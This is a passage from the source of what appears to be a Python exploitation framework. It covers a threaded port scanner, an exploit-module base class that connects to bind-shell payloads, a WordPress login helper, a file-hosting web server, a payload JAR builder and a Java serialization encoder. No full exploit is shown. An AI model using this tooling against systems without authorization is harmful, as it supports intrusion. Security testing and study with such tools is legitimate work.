from_port self.to_port = to_port self.host = host self.scanners = [] self.resp = [] def check_port_state(self, port): sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sd.connect(('127.0.0.1', int(port))) sd.close() return True except socket.error: sd.close() return False def scan(self, search_for='opened',first_match=False, nthreads=1, send_fn=None, exclude=[]): """ @param search_for(string): Search for 'opened', 'closed' or 'all' ports @param first_match(bool): If True returns only first scan result and stoping scanning @param nthreads(int): Number of threads @param send_fn(function): Callback to send results data @param exclude(list(int)): Ports not to be to scanned @return(list): list of tuples(host, port, status) """ self.resp = [] if self.from_port>self.to_port: print ("'from port' must be smaller than 'to port'") return toscan = Queue.Queue() scanned = Queue.Queue() self.scanners = [ScannerThread(toscan, scanned) for i in range(nthreads)] for scanner in self.scanners: scanner.start() hostports = [(self.host, port) for port in xrange(self.from_port, self.to_port+1) if port not in exclude] for hostport in hostports: toscan.put(hostport) results = {} for host, port in hostports: while (host, port) not in results: nhost, nport, nstatus = scanned.get() results[(nhost, nport)] = nstatus status = results[(host, port)] value = (host, port, status) if status == 'OPEN' and search_for.lower() == 'opened': self.resp.append(value) if send_fn: send_fn(value) if first_match: return self._finish_scan() continue elif status == 'CLOSED' and search_for.lower() == 'closed': self.resp.append(value) if send_fn: send_fn(value) if first_match: return self._finish_scan() elif search_for.lower() == 'all': self.resp.append(value) if send_fn: send_fn(value) if first_match: return self._finish_scan() return self._finish_scan() def _finish_scan(self): for scanner in self.scanners: scanner.join(0.001) scanner.killed = True return self.resp if __name__ == '__main__': callback = lambda x: print(x) scanner = Scanner(5000, 6000, "localhost") scanner.scan(search_for='closed', first_match=False, nthreads=100, send_fn=callback) ================================================ FILE: core/ReportGenerator.py ================================================ import os import time class ReportGenerator: def __init__(self): self.path_to_templates = os.getcwd() + "/data/report_templates/" self.start_date_time = time.strftime("%d %b %Y %H-%M-%S") self.succeeded_count = 0 self.failed_count = 0 self.categories = {} self.report_name = self.generate_report() def _generate_content(self, module): content = self.read_file_content(self.path_to_templates + "row_template.html") options = "" listener = "" if module["OPTIONS"]: options += "
Module options:
" for option, value in module["OPTIONS"].iteritems(): if option == "listener": listener += "
Listener enabled with options:
" for l_option, l_value in module["OPTIONS"]["listener"].iteritems(): listener += "{option}: {value}".format(option=l_option, value=l_value) listener += "
" continue options += "{option}: {value}".format(option=option, value=value) options += "
" content = content.format(MODULE_NAME=str(module["NAME"]), DESCRIPTION=str(module["DESCRIPTION"]), NOTES=str(module["NOTES"]), LOG=("
".join(m.time + ":" + m.message for m in module["LOG"])).encode('utf-8'), IS_SHELL_CONNECTED=str(module["IS_SHELL_CONNECTED"]), CVE=str(module["CVE"]), CLASS="succeeded" if module["RESULT"] else "failed", IS_SUCCESS="Succeeded" if module["RESULT"] else "Failed", OPTIONS=str(options), LISTENER=str(listener)) if module["RESULT"]: self.succeeded_count += 1 else: self.failed_count += 1 category = module["PATH"].replace("/", "").capitalize() if category in self.categories: self.categories[category].append(content) else: self.categories[category] = [content] def append_module(self, module): self._generate_content(module) self._rewrite_report() def generate_report(self): path = os.getcwd() + "/Reports" if not os.path.exists(path): os.mkdir(path) name = path + "/" + self.start_date_time + ".html" with open(name, "w") as f: f.write("") return name def read_file_content(self, filename): content = "" with open(filename, 'r') as f: content = f.read() return content def _rewrite_report(self): contents= "" index = 1 for category_name in self.categories: contents += "
{}.) {}
".format(index, category_name.lower(), category_name) index += 1 contents += "
" for category_name, category in self.categories.iteritems(): contents += "
"+ category_name + "(" + str(len(category)) + ")" + "
" contents += "\n".join(category) contents += "
" common = self.read_file_content(self.path_to_templates + "common.html") with open(self.report_name, 'w') as f: f.write(common % (self.start_date_time, self.succeeded_count, self.failed_count, contents)) ================================================ FILE: core/ServiceMessagesHandler.py ================================================ from itertools import groupby class ServiceMessageLevel: DEBUG = 1 INFO = 2 WARNING = 3 ERROR = 4 class ServiceMessageType: IMPORT = 1 UPDATES = 2 class ServiceMessage: def __init__(self, message, message_type, level, **kwargs): self.message = message self.message_type = message_type self.level = level self.module_to_import = kwargs.get('module_to_import') self.module_with_unknown_import = kwargs.get('module_with_unknown_import') def serialize(self): return self.__dict__ class ServiceMessagesHandler: def __init__(self): self.messages = [] def reset(self): self.messages = [] def remove_import_error(self, library_name): self.messages = filter(lambda x: x.module_to_import != library_name, self.messages) def get_grouped(self): from collections import defaultdict messages = [] messages_by_import = defaultdict(list) for message in self.messages: if message.message_type == ServiceMessageType.IMPORT: messages_by_import[message.module_to_import].append((message.module_with_unknown_import)) else: messages.append(message.serialize()) map_fn = lambda x: dict(message='Modules %s require python module %s' % (', '.join(x[1]), x[0]), message_type=ServiceMessageType.IMPORT, module_to_import=x[0], level=ServiceMessageLevel.ERROR, installed=False ) messages_by_import = map(map_fn, messages_by_import.items()) return messages + messages_by_import def serialize(self): return [message.serialize() for message in self.messages] def add_message(self, message, message_type=ServiceMessageType.IMPORT, level=ServiceMessageLevel.ERROR, **kwargs): msg = ServiceMessage(message, message_type, level, **kwargs) if msg.serialize() in self.serialize(): return self.messages.append(ServiceMessage(message, message_type, level, **kwargs)) def get_messages(self, message_type=None, level=None): msgs = filter(lambda item: (item.message_type == message_type if message_type else True) and (item.level == level if level else True), self.messages) return [msg.serialize() for msg in msgs] ================================================ FILE: core/Sploit.py ================================================ #!/usr/bin/env python import sys import traceback import time import os import json import logging import socket import base64 from random import choice from string import ascii_letters from string import digits from websocket import create_connection sys.path.append("./../core") from Commands import APIClient PORT = 49999 HOST = "127.0.0.1" # simple common exception handler for method run def _deco(self, func): def wrapper(): try: res = func() except Exception as e: exc_type, exc_value, exc_traceback = sys.exc_info() self.log(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback))) self.finish(False) # res = None # self.logger.exception(e) # self.log(e) # self.finish(False) return res return wrapper class Sploit: """ This is the base class for all exploits in the tool. """ def __init__(self, logfile="", debugfile="", logger=None, options={}): # Logger will need in the future to log to file """ Initialization routines. """ # Module name self.name = "" self.__module_name = sys.argv[-1] # PID of running module self.pid = os.getpid() self.logger = logging.getLogger() self.logger.setLevel(logging.INFO) formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s') fh = logging.FileHandler('Logs/exploits.log') fh.setLevel(logging.INFO) fh.setFormatter(formatter) self.logger.addHandler(fh) self.connection = create_connection("ws://%s:%s" % (HOST, PORT), sockopt=((socket.IPPROTO_TCP, socket.TCP_NODELAY, 1),)) self.API_COMMANDS_HANDLER = APIClient(self.connection) self.hello() self.run = _deco(self, self.run) if bool(options): self.create_args(options) def create_args(self, options={}): self.args = self.args(options) for o in options: var = o.lower().replace(" ", "_") var_val = self.args.get(o, options[o]) setattr(self, var, var_val) return def args(self, options={}): """ This function get required options from server. """ resp = self.API_COMMANDS_HANDLER.send_command('get_module_args', module_name=self.__module_name) return resp def get_listener_options(self): """ :return: Listener options from server """ resp = self.API_COMMANDS_HANDLER.send_command('get_listener_options', module_name=self.__module_name) return resp def check(self): """ This function is checking the response banner to verify that target is vulnerable or not. """ return def run(self): """ The main function that does all of the magic. It returns 0 on failed and 1 on success. """ return def logImage(self, image): """Sends image to GUI's log window :param image: (Stream) :return: Usage: 1) with open('example.jpg', 'rb') as f: image = f.read() self.log(image) 2) image = urllib2.urlopen('http://blablabla/image.jpg').read() self.log(image) """ image = base64.b64encode(image) try: self.send_message(image, msg_type="image") except Exception as e: self.logger.exception(e) return def log(self, message='', inline=False, replace=False): """ This function provides necessary routines for logging any results of the exploit. :param message: Message to log :param inline: Prints log inline :param replace: Replace last log message """ try: self.send_message(message, inline=inline, replace=replace) except Exception as e: self.logger.exception(e) print e return def finish(self, is_successful): """ Finishes module execution Args: is_successful: (bool) If True - module succeeded, False - module failed """ if is_successful: msg = "Module %s was succeeded" % self.name else: msg = "Module %s was failed" % self.name self.send_message(msg, is_successful) sys.exit() def writefile(self, filedata, filename=""): """ Save the result of the exploit if the results are too large to print or if the aim of the exploit is to steal some info or download the file. Args: filedata: (string) Contents of file filename: (string) Filename """ dirname = "./OUTPUTS/" + self.name if not filename: filename = "response_" + time.strftime("%b_%d_ %Y_%H-%M-%S", time.gmtime()) + ".html" if not os.path.exists(dirname): try: os.makedirs(dirname) except Exception as e: """ ! The kind of error sould be managed with respect to os version or type... """ self.logger.error( "An error has occured during creating the directory '%s' : <%s>" % (dirname, str(sys.exc_info()[1])) ) return 0 filepath = dirname + "/" + filename fd = file(filepath, "wb+") try: fd.write(filedata) except Exception: self.logger.error("An error has occured during writing output : <%s>" % (str(sys.exc_info()[1]))) return 0 fd.close() self.log("wrote to %s" % filepath) return 1 def connect_to_remote_shell(self, target_ip, target_port): """ Use this method to connect to bind paylod Args: target_ip: IP address of target target_port: PORT of bind payload """ import subprocess from Commands import FW_ROOT_PATH bind_shell_path = os.path.join(FW_ROOT_PATH, 'listener', 'bind_connector.py') self.API_COMMANDS_HANDLER.send_command('add_listener_options', module_name=self.__module_name, options=dict(HOST=target_ip, PORT=target_port)) listener_process = subprocess.Popen([sys.executable, bind_shell_path, self.__module_name], shell=False, env=os.environ.copy()) self.API_COMMANDS_HANDLER.send_command('add_listener_pid', module_name=self.__module_name, pid=listener_process.pid) def send_message(self, message, is_successful=None, inline=False, replace=False, msg_type="text"): self.logger.debug(message) self.API_COMMANDS_HANDLER.send_command('register_module_message', module_name=self.__module_name, message=str(message), state=is_successful, inline=inline, replace=replace, type=msg_type) if is_successful is not None: self.connection.close() def is_listener_connected(self): """ Check listener state :return: True - if shell is connected to listener False - if shell is not connected to listener None - if listener is not available """ time.sleep(1) # for limiting requests resp = self.API_COMMANDS_HANDLER.send_command('is_listener_connected', module_name=self.__module_name) return resp.get('state') def hello(self): self.API_COMMANDS_HANDLER.hello(self.__module_name, 'module') def random_string(self, size=6, chars=ascii_letters + digits): # you can change chars to digits or specify your string value return ''.join(choice(chars) for _ in range(size)) if __name__ == "__main__": s = Sploit() s.log("123") ================================================ FILE: core/WebHelper.py ================================================ import mimetypes import os import time import cookielib import urllib2 import urllib import threading from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import shutil class FormPoster: def __init__(self): self.BOUNDARY = '----------ThIs_Is_tHe_saLteD_bouNdaRY_$' self.fields = [] self.files = [] def post(self, target, additional_headers={}): """ Post fields and files to an http target as multipart/form-data. additional_headers can add new headers or overwrite existing. Return the server's response page. """ request = urllib2.Request(target) request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0') content_type, body = self._encode_multipart_formdata() request.add_header('Content-Type', content_type) request.add_header('Content-Length', str(len(body))) if type(additional_headers) is dict: for key in additional_headers: request.add_header(key, additional_headers[key]) request.add_data(body) return request def _encode_multipart_formdata(self): """ fields is a sequence of (name, value) elements for regular form fields. files is a sequence of (name, filename, value) elements for data to be uploaded as files Return (content_type, body) """ CRLF = '\r\n' L = [] for (key, value) in self.fields: L.append('--' + self.BOUNDARY) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) for (key, filename, value, content_type) in self.files: L.append('--' + self.BOUNDARY) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) if content_type: L.append('Content-Type: %s' % content_type) L.append('') L.append(value) L.append('--' + self.BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % self.BOUNDARY return content_type, body def add_field(self, key, value): self.fields.append((key, value)) def add_file(self, key, filename, file, is_path=True, content_type=''): """Add file entry to a form. If 'is_path' - True 'file' must be path to file If 'is_path' - False 'file' - is text content """ file = open(file, 'rb').read() if is_path else file self.files.append((key, filename, file, content_type)) class NoRedirection(urllib2.HTTPErrorProcessor): """ Creates no redirection handler For example: no_redir = NoRedirection() print no_redir.open_http_address("http://habr.ru").geturl() """ def http_response(self, request, response): return response def open_http_address(self, address): cj = cookielib.CookieJar() opener = urllib2.build_opener(NoRedirection, urllib2.HTTPCookieProcessor(cj)) response = opener.open(address) return response https_response = http_response def wordpress_auth(host, username, password): """Returns opener and cookie Example: opener, cookie = wordpress_auth('http://www.wordpresssite.com', 'guest', 'guest') res = opener.open('http://www.wordpresssite.com/wp-admin/profile.php') """ cookie = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'DNT': '1' } payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log+In', 'rememberme': 'forever', 'redirect_to': host+'wp-admin', 'testcookie': '1' } if host[-1] != '/' and host[-1] != '\\': host += '/' login_url = host + 'wp-login.php' payload = urllib.urlencode(payload) httpReq = urllib2.Request(login_url, payload, headers) page = opener.open(httpReq) return opener, cookie class SimpleWebServerHandler(BaseHTTPRequestHandler): CONTENT = "" def do_GET(self): self.send_response(200) if 'admin.php' in self.path: self.wfile.write(self.CONTENT) self.wfile.write('') class AdavancedHttpServerHandler(BaseHTTPRequestHandler): def do_GET(self): self.path = os.path.normpath(self.path) if self.path in self.server.files_for_share: self.send_response(200) local_file_path = self.server.files_for_share.get(self.path) mime = mimetypes.guess_type(local_file_path) if not mime: mime = "plain/text" # self.download_file(local_file_path) # return self.send_header('Content-Type', mime[0]) for header, value in self.server.custom_headers.items(): self.send_header(header, value) self.end_headers() with open(local_file_path, 'rb') as f: self.wfile.write(f.read()) else: self.send_error(404, "File not found") def download_file(self, filename): with open(filename, 'rb') as f: self.send_response(200) self.send_header("Content-Type", 'application/octet-stream') self.send_header("Content-Disposition", 'attachment; filename="{}"'.format(os.path.basename(filename))) fs = os.fstat(f.fileno()) self.send_header("Content-Length", str(fs.st_size)) self.end_headers() shutil.copyfileobj(f, self.wfile) class SimpleWebServer: def __init__(self, host, port): """Simple http server. You can add local files to show them in web. Example: server = SimpleWebServer('localhost', 8080) server.add_file_for_share("new1123.html", "

HTML FILE TEST

") server.add_folder_for_share("E:\\work\\EaST") server.add_header("CustomHeader", "CustomValue") server.start_serve() time.sleep(10) server.stop_serve() # Kill the server """ self.host = host self.port = port self.httpd = None self.thread = None self.temp_dir = "" self.headers = {} self.files = {} self.create_temp_folder() def set_headers(self, headers={}): self.headers = headers def add_header(self, key, value): self.headers[key] = value def create_temp_folder(self): try: self.temp_dir = os.path.join(os.getcwd(), "tmp", "Webserver"+time.strftime('%Y%m%d%H%M%S', time.gmtime())) os.makedirs(self.temp_dir) except Exception as e: self.temp_dir = "" print str(e) def add_file_for_share(self, filename, content, server_path=''): """ Add local file for share it to the web :param filename:(string) Filename :param content:(string) File content :param server_path:(string) '/' - means server root """ if server_path == "/" or server_path == "\\": server_path = "" if server_path.startswith("/") or server_path.startswith("\\"): server_path = server_path[1:] full_server_filepath = os.path.join(server_path, filename) path = os.path.join(self.temp_dir, server_path) if not os.path.exists(path): os.makedirs(path) with open(os.path.join(self.temp_dir, full_server_filepath), 'wb') as f: f.write(content) local_path = os.path.normpath(os.path.join(self.temp_dir, full_server_filepath)) full_server_filepath = os.path.normpath("/" + full_server_filepath) self.files[full_server_filepath] = local_path def add_folder_for_share(self, local_path): """ Add all files from chosen folder and subfolders :param local_path: (string) Local folder path """ local_path = os.path.normpath(local_path) for path, dirs, files in os.walk(local_path): for file in files: local_file_path = os.path.join(path, file) server_file_path = local_file_path.replace(local_path, '') self.files[server_file_path] = local_file_path def start_serve(self): self.stop_serve() try: self.httpd = HTTPServer((self.host, self.port), AdavancedHttpServerHandler) setattr(self.httpd, "files_for_share", self.files) setattr(self.httpd, "custom_headers", self.headers) self.thread = threading.Thread(target=self.httpd.serve_forever, args=()) self.thread.start() return (True, "OK") except Exception as e: return (False, e) def start_with_content(self, content): self.stop_serve() try: self.httpd = HTTPServer((self.host, self.port), SimpleWebServerHandler) SimpleWebServerHandler.CONTENT = content self.thread = threading.Thread(target=self.httpd.serve_forever, args=()) self.thread.start() return (True, "OK") except Exception as e: return (False, e) def stop_serve(self): if self.httpd: self.httpd.shutdown() if self.thread: self.thread.join() if __name__ == '__main__': pass ================================================ FILE: core/WebSocketServer.py ================================================ # -*- coding: UTF-8 -*- import Queue import asyncore import errno import json import logging import struct from StringIO import StringIO from base64 import b64encode from hashlib import sha1 from mimetools import Message import os import signal import socket from threading import Thread import sys from Commands import Commands FIN = 0x80 OPCODE = 0x0f MASKED = 0x80 PAYLOAD_LEN = 0x7f PAYLOAD_LEN_EXT16 = 0x7e PAYLOAD_LEN_EXT64 = 0x7f OPCODE_TEXT = 0x01 CLOSE_CONN = 0x8 class ClientTypes: ui = "ui" module = "module" listener = "listener" class WebSocketServer(asyncore.dispatcher): """Receives connections and establishes handlers for each client. """ def __init__(self, host, port, connections): asyncore.dispatcher.__init__(self) self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() self.bind((host, port)) self.address = self.socket.getsockname() self.listen(connections) self.clients = {} self.all_processes = [] self.command_handler = Commands(self) def handle_accept(self): # Called when a client connects to our socket socket, details = self.accept() self.clients[socket] = WebsocketHandler(sock=socket, server=self) def handle_close(self): self.close() def add_process(self, pid): self.all_processes.append(pid) def remove_process(self, pid): if pid in self.all_processes: self.all_processes.remove(pid) try: os.kill(pid, signal.SIGTERM) except: pass def kill_all_processes(self): for client in self.clients.values(): client.close() for pid in self.all_processes: try: os.kill(pid, signal.SIGTERM) except: pass self.close() sys.exit(1) def get_client_by_name_and_type(self, name, client_type=ClientTypes.listener): for client in self.clients.values(): if client.name == name and client.type == client_type: return client return None def send_message_to_listener(self, name, message): client = self.get_client_by_name_and_type(name) if client: client.send_message(message) def send_message_to_all_uis(self, message): ui_clients = [client for client in self.clients.values() if client.type == ClientTypes.ui] for client in ui_clients: client.send_message(message) class WebsocketHandler(asyncore.dispatcher): """Handles echoing messages from a single client. """ magic = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11' def __init__(self, sock, server=None): self.name = "" self.type = "" self.server = server self.handshake_done = False self.keep_alive = True self.valid_client = False self.data_to_write = Queue.Queue() self.logger = logging.getLogger(__name__) asyncore.dispatcher.__init__(self, sock=sock) return def writable(self): """Call handle_write only if data_to_write is not empty""" return not self.data_to_write.empty() def readable(self): """Call handle_read only if connection is keep_alive""" return self.keep_alive def handle_write(self): """Write as much as possible of the most recent message we have received.""" data = self.data_to_write.get() self.send(data) def send_message(self, message): message = json_encode(message) self.data_to_write.put(chr(129)) length = len(message) if length <= 125: self.data_to_write.put(chr(length)) elif 126 <= length <= 65535: self.data_to_write.put(chr(126)) self.data_to_write.put(struct.pack(">H", length)) else: self.data_to_write.put(chr(127)) self.data_to_write.put(struct.pack(">Q", length)) self.data_to_write.put(message) def handle_read(self): """Read an incoming message from the client""" if not self.handshake_done: self.handshake() elif self.valid_client: self.read_next_message() def handshake(self): data = self.recv(1024).strip() new_data = data.split('\r\n', 1) if not new_data: return headers = Message(StringIO(data.split('\r\n', 1)[1])) if headers.get("Upgrade", None).lower() == "websocket": key = headers['Sec-WebSocket-Key'] digest = b64encode(sha1(key + self.magic).hexdigest().decode('hex')) response = 'HTTP/1.1 101 Switching Protocols\r\n' response += 'Upgrade: websocket\r\n' response += 'Connection: Upgrade\r\n' response += 'Sec-WebSocket-Accept: %s\r\n\r\n' % digest self.send(response) self.handshake_done = True self.valid_client = True def read_bytes_splitted(self, num): try: bytes = self.read_bytes(num) except socket.error as error: if error.errno == errno.WSAECONNRESET: return (None, None) return map(ord, bytes) def read_bytes(self, num): data = self.buffer[:num] self.buffer = self.buffer[num:] return data def recv_all(self, chunk=4096): buffer = [] while 1: try: data = self.recv(chunk) if not data: break buffer.append(data) except socket.error, e: err = e.args[0] if err == errno.EAGAIN or err == errno.EWOULDBLOCK: # There is no data break return "".join(buffer) def read_next_message(self): try: self.buffer = self.recv_all() except socket.error as error: if error.errno == errno.WSAECONNRESET: pass try: b1, b2 = self.read_bytes_splitted(2) except: self.keep_alive = False return if not b1: self.keep_alive = False return opcode = b1 & OPCODE masked = b2 & MASKED payload_length = b2 & PAYLOAD_LEN if opcode == CLOSE_CONN: self.keep_alive = False return if not masked: self.keep_alive = False return if payload_length == 126: payload_length = struct.unpack(">H", self.read_bytes(2))[0] elif payload_length == 127: payload_length = struct.unpack(">Q", self.read_bytes(8))[0] masks = self.read_bytes_splitted(4) decoded = "" for char in self.read_bytes_splitted(payload_length): char ^= masks[len(decoded) % 4] decoded += chr(char) self.on_message(decoded) def on_message(self, message): message = parse_json(message) if not message: return # Check for hello if "hello" in message: self.hello(message["hello"], message['uuid']) return self.server.command_handler.execute(message, self) def hello(self, args, uuid): """After connection to server client must do handshake sending its name and type Params: args: (dict) args["name"]: (String) args["type"]: (String) 'module', 'listener' or 'ui' """ name = self.check_and_make_unique_name(args["name"]) type = args["type"] self.type = type self.name = name self.logger.info("Hello," + self.name) self.send_message(dict(command="on_callback", uuid=uuid)) def check_and_make_unique_name(self, name, suffix=1): names = [client.name for client in self.server.clients.values()] if name not in names: return name new_name = "%s(%s)" % (name, suffix) if new_name in names: suffix += 1 return self.check_and_make_unique_name(name, suffix) else: return name def handle_close(self): self.close() if self.socket in self.server.clients: del self.server.clients[self.socket] def parse_json(message): if not message: return None try: data = json.loads(message) except Exception, e: print(e) logging.getLogger(__name__).exception(e) return None return data def json_encode(message): if not message: return message try: data = json.dumps(message) except Exception, e: print(e) logging.getLogger(__name__).exception(e) return None return data if __name__ == '__main__': import socket logging.basicConfig(level=logging.DEBUG, format='%(name)s: %(message)s', ) host, port = ('', 49999) # let the kernel give us a port server = WebSocketServer(host, port, 1000) asyncore.loop() ================================================ FILE: core/__init__.py ================================================ ================================================ FILE: core/helpers/__init__.py ================================================ ================================================ FILE: core/helpers/archieve/__init__.py ================================================ ================================================ FILE: core/helpers/archieve/jar.py ================================================ from zip import Zip import os class Jar(Zip): def __init__(self, filename=''): Zip.__init__(self, filename) self.manifest = self.get_manifest() self.is_manifest_created = False def get_manifest(self, main_class='east.Payload'): manifest = 'Manifest-Version: 1.0\n' manifest += 'Main-Class: %s\n' % main_class manifest += 'Permissions: all-permissions\n\n' return manifest def add_file(self, name, content='', write_to_manifest=True): Zip.add_file(self, name, content) if write_to_manifest: self.__add_file_to_manifest(name) def __add_file_to_manifest(self, filename): self.manifest += "Name: {filename}\n\n".format(filename=filename) def create_manifest(self): self.add_file("META-INF/MANIFEST.MF", self.manifest, write_to_manifest=False) self.is_manifest_created = True def get_raw(self, remove_temp=False): if not self.is_manifest_created: self.create_manifest() if not self.name: print('You should create jar file before get raw content') with open(self.name, 'rb') as f: content = f.read() if remove_temp: os.remove(self.name) return content def get_jar(self): if not self.is_manifest_created: self.create_manifest() return self.name ================================================ FILE: core/helpers/archieve/zip.py ================================================ import zipfile import os class Zip: def __init__(self, filename=''): self.name = filename self.files = [] if filename: self.create_archieve(filename) def create_archieve(self, filename): if not self.name: self.name = filename zf = zipfile.ZipFile(filename, 'w') zf.close() def add_file(self, name, content=''): if not self.is_valid(name): return zf = zipfile.ZipFile(self.name, 'a') if content: zf.writestr(name, content) else: zf.write(name) zf.close() self.files def is_valid(self, filename=''): if not self.name: raise Exception("Error. Zip archieve is not created.") return False if not zipfile.is_zipfile(self.name): raise Exception("Error. File {name} is not zip archieve.".format(name=self.name)) return False if filename and filename in self.files: raise Exception("Error. There is file with the same name.") return False return True ================================================ FILE: core/helpers/java/Serialization.py ================================================ import struct class Constants: STREAM_MAGIC = 0xaced STREAM_VERSION = 5 TC_NULL = 0x70 TC_REFERENCE = 0x71 TC_CLASSDESC = 0x72 TC_OBJECT = 0x73 TC_STRING = 0x74 TC_ARRAY = 0x75 TC_CLASS = 0x76 TC_BLOCKDATA = 0x77 TC_ENDBLOCKDATA = 0x78 TC_RESET = 0x79 TC_BLOCKDATALONG = 0x7A TC_EXCEPTION = 0x7B TC_LONGSTRING = 0x7C TC_PROXYCLASSDESC = 0x7D TC_ENUM = 0x7E BASE_WIRE_HANDLE = 0x7E0000 PRIMITIVE_TYPE_CODES = { 'B': 'byte', 'C': 'char', 'D': 'double', 'F': 'float', 'I': 'int', 'J': 'long', 'S': 'short', 'Z': 'boolean' } OBJECT_TYPE_CODES = { '[': 'array', 'L': 'object' } TYPE_CODES = {} TYPE_CODES.update(PRIMITIVE_TYPE_CODES) TYPE_CODES.update(OBJECT_TYPE_CODES) SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE SC_SERIALIZABLE = 0x02 SC_EXTERNALIZABLE = 0x04 SC_ENUM = 0x10 class Element: def __init__(self, stream=""): self.stream = stream def decode(self, io): return self def encode(self): return '' def __str__(self): return self.__class__.__name__ class Annotation(Element): def __init__(self, stream=None): Element.__init__(self, stream) self.contents = [] def decode(self, io): while True: content = decode_content(io, self.stream) self.contents.append(content) if content.__class__ is EndBlockData: return self return self def encode(self): if not self.contents: raise Exception('Failed to serialize Annotation with empty contents') encoded = '' for content in self.contents: encoded += encode_content(content) return encoded def __str__(self): str = '[' data = [content.__str__() for content in self.contents] str += ', '.join(data) str += ']' return str class BlockData(Element): def __init__(self, stream=None, contents=''): Element.__init__(self, stream) self.contents = contents self.length = len(contents) def decode(self, io): raw_length = io.read(1) if not raw_length: raise Exception('Failed to unserialize BlockData') self.length = struct.unpack('>B', raw_length)[0] if self.length == 0: self.contents = '' else: self.contents = io.read(self.length) if not self.contents or len(self.contents) != self.length: raise Exception('Failed to unserialize BlockData') return self def encode(self): encoded = struct.pack(">B", self.length) encoded += self.contents return encoded def __str__(self): ret = '[' ret += ', '.join("0x%s" % byte.encode('hex') for byte in self.contents) ret += ']' return ret class BlockDataLong(Element): def __init__(self, stream=None, contents=''): Element.__init__(self, stream) self.contents = contents self.length = len(contents) def decode(self, io): raw_length = io.read(4) if not raw_length or len(raw_length) != 4: raise Exception('Failed to unserialize BlockDataLong') self.length = struct.unpack('>i', raw_length)[0] if self.length == 0: self.contents = '' else: self.contents = io.read(self.length) if not self.contents or len(self.contents) != self.length: raise Exception('Failed to unserialize BlockDataLong') return self def encode(self): encoded = struct.pack(">I", [self.length]) encoded += self.contents return encoded def __str__(self): return self.contents.__str__() class ClassDesc(Element): def __init__(self, stream=None): Element.__init__(self, stream) self.description = None def decode(self, io): content = decode_content(io, self.stream) allowed_content = [NullReference, NewClassDesc, Reference, ProxyClassDesc] if content.__class__ not in allowed_content: raise Exception('ClassDesc unserialize failed') self.description = content return self def encode(self): encoded = '' allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] if self.description.__class__ not in allowed_contents: raise Exception('ClassDesc unserialize failed') encoded += encode_content(self.description) return encoded def __str__(self): return print_content(self.description) class EndBlockData(Element): pass class Field(Element): def __init__(self, stream=''): Element.__init__(self, stream) self.type = '' self.name = None self.field_type = None def decode(self, io): code = io.read(1) if not code or not self.is_valid(code): raise Exception('Failed to unserialize Field') self.type = Constants.TYPE_CODES[code] utf = Utf(self.stream) self.name = utf.decode(io) if self.is_object(): self.field_type = self.decode_field_type(io) return self def encode(self): if self.name.__class__ is not Utf: raise Exception('Failed to serialize Field') if not self.is_type_valid(): raise Exception('Failed to serialize Field') encoded = '' encoded += get_key_by_value(Constants.TYPE_CODES, self.type) encoded += self.name.encode() if self.is_object(): encoded += self.encode_field_type() return encoded def is_type_valid(self): if self.type in Constants.TYPE_CODES.values(): return True return False def is_primitive(self): if self.type in Constants.PRIMITIVE_TYPE_CODES.values(): return True return False def is_object(self): if self.type in Constants.OBJECT_TYPE_CODES.values(): return True return False def is_valid(self, code): if code in Constants.TYPE_CODES.keys(): return True return False def encode_field_type(self): allowed_contents = [Utf, Reference] if self.field_type.__class__ not in allowed_contents: raise Exception('Failed to serialize Field') encoded = encode_content(self.field_type) return encoded def decode_field_type(self, io): allowed_contents = [Utf, Reference] type = decode_content(io, self.stream) if type.__class__ not in allowed_contents: raise Exception('Failed to serialize Field') return type def __str__(self): ret = self.name.__str__() if self.is_primitive(): ret += " (%s)" % self.type else: ret += " (%s)" % self.field_type return ret class NewArray(Element): def __init__(self, stream=''): Element.__init__(self, stream) self.array_description = None self.type = '' self.values = [] def decode(self, io): class_desc = ClassDesc(self.stream) self.array_description = class_desc.decode(io) if self.stream: self.stream.add_reference(self) self.type = self.array_type() values_length = self.decode_values_length(io) for i in range(values_length): value = self.decode_value(io) self.values.append(value) return self def encode(self): if self.array_description.__class__ is not ClassDesc: raise Exception('Failed to serialize NewArray') encoded = '' encoded += self.array_description.encode() encoded += struct.pack(">I", len(self.values)) for value in self.values: encoded += self.encode_value(value) return encoded def decode_values_length(self, io): values_length = io.read(4) if not values_length or len(values_length) != 4: raise Exception('Failed to unserialize NewArray') return struct.unpack('>I', values_length)[0] def array_type(self): if not self.array_description: raise Exception('Empty NewArray description') if self.array_description.__class__ is not ClassDesc: raise Exception('Unsupported NewArray description class') desc = self.array_description.description if desc.__class__ is Reference: ref = desc.handle - Constants.BASE_WIRE_HANDLE desc = self.stream.references[ref] if desc.class_name.contents[0] != '[': #array raise Exception('Unsupported NewArray description') decoded_type = desc.class_name.contents[1] if decoded_type in Constants.PRIMITIVE_TYPE_CODES.keys(): return Constants.PRIMITIVE_TYPE_CODES[decoded_type] elif decoded_type == 'L': #object return desc.class_name.contents[2:desc.class_name.contents.index(';')] else: raise Exception('Unsupported NewArray Type') def decode_value(self, io): if self.type == 'byte': value = io.read(1) if not value: raise Exception('Failed to deserialize NewArray value') value = struct.unpack('>B', value)[0] elif self.type == 'char': value = io.read(2) if not value or len(value) != 2: raise Exception('Failed to deserialize NewArray value') value = 